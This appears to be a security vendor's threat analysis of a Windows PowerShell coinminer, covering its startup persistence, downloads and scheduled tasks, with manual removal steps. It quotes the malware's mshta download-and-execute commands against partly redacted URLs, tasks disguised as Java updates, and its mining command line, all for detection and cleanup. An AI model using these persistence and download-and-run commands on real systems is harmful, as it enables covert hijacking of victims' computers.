Analysis by: Johnlery Triunfante

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Coinminer

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes


  TECHNICAL DETAILS

File Size: 1,010 bytes
File Type: PS1
Memory Resident: Yes
Initial Samples Received Date: 08 Feb 2018
Payload: Connects to URLs/IPs

Arrival Details

This malware arrives via the following means:

Autostart Technique

This Coinminer drops the following file(s) in the Windows User Startup folder to enable its automatic execution at every system startup:

  • startup.cmd

Process Termination

This Coinminer terminates the following malware-related processes:

  • spoosvc.exe

Download Routine

This Coinminer connects to the following website(s) to download and execute a malicious file:

  • http://{BLOCKED}.{BLOCKED}.174.248/z.exe
  • http://{BLOCKED}.{BLOCKED}.174.248/web/javaupd.exe
  • http://{BLOCKED}.{BLOCKED}.174.248/web/startup.cmd

It saves the files it downloads using the following names:

  • %User Temp%\startup.cmd
  • %User Temp%\3.exe → Detected as Coinminer_MALXMR.JLT-WIN32.
  • %ProgramData%\javaupd.exe → Detected as Coinminer_TOOLXMR.JL-WIN64

(Note: %User Temp% is the user's temporary folder, where it usually is C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Local\Temp on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.. %ProgramData% is the Program Data folder, where it usually is C:\Program Files in Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\ProgramData in Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

Other Details

This Coinminer does the following:

  • It deletes scheduled tasks with the following name:
    • Spooler SubSystem Service
  • It adds the following scheduled tasks:
    • Oracle java update
      • Executes every 80 minutes
      • Executes the following command:
        • mshta http://{BLOCKED}.{BLOCKED}.174.248/web/p.hta - Downloads and execute javaupd.exe
    • Oracle java
      • Executes daily
      • Executes the following command:
        • mshta http://{BLOCKED}.{BLOCKED}.174.248/web/kil.hta - Terminates powershell.exe, javaupd.exe and msta.exe
  • It execute its coin mining component using the following command:
    • cmd.exe /c %ProgramData%\javaupd.exe -o eu.minerpool.pw:65333 -u %computername%

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 13.966.06
FIRST VSAPI PATTERN DATE: 14 Feb 2018
VSAPI OPR PATTERN File: 13.967.00
VSAPI OPR PATTERN Date: 15 Feb 2018

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Restart in Safe Mode

[ Learn More ]

Step 4

Delete the Scheduled Tasks added by this malware/grayware

[ Learn More ]

To delete the added Scheduled Task file:

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. To do this, click Start>Programs>Accessories>System Tools>Scheduled Tasks.
  2. Double-click on a .JOB file.
  3. Check if the malware path and file name exists in the .JOB file. To do this, check the value in the Run field.
  4. If found, select the .JOB file then press SHIFT+DELETE to permanently delete the file.
  5. Repeat the steps above for the remaining .JOB files.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel of the Task Scheduler Window, click Task Scheduler Library.
  3. In the upper-middle panel, click a Task.
  4. In the lower middle panel, click the Actions tab
  5. Check if the malware path and file name exists in the task. To do this, check the value in the Details column under the Actions tab.
  6. If found, select the task and press DELETE and click Yes to delete the task.
  7. Repeat the steps above for the remaining tasks.

Step 5

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %User Temp%\startup.cmd
  • %User Temp%\3.exe
  • %ProgramData%\javaupd.exe

Step 6

Restart in normal mode and scan your computer with your Trend Micro product for files detected as COINMINER_MALXMR.JL-PS. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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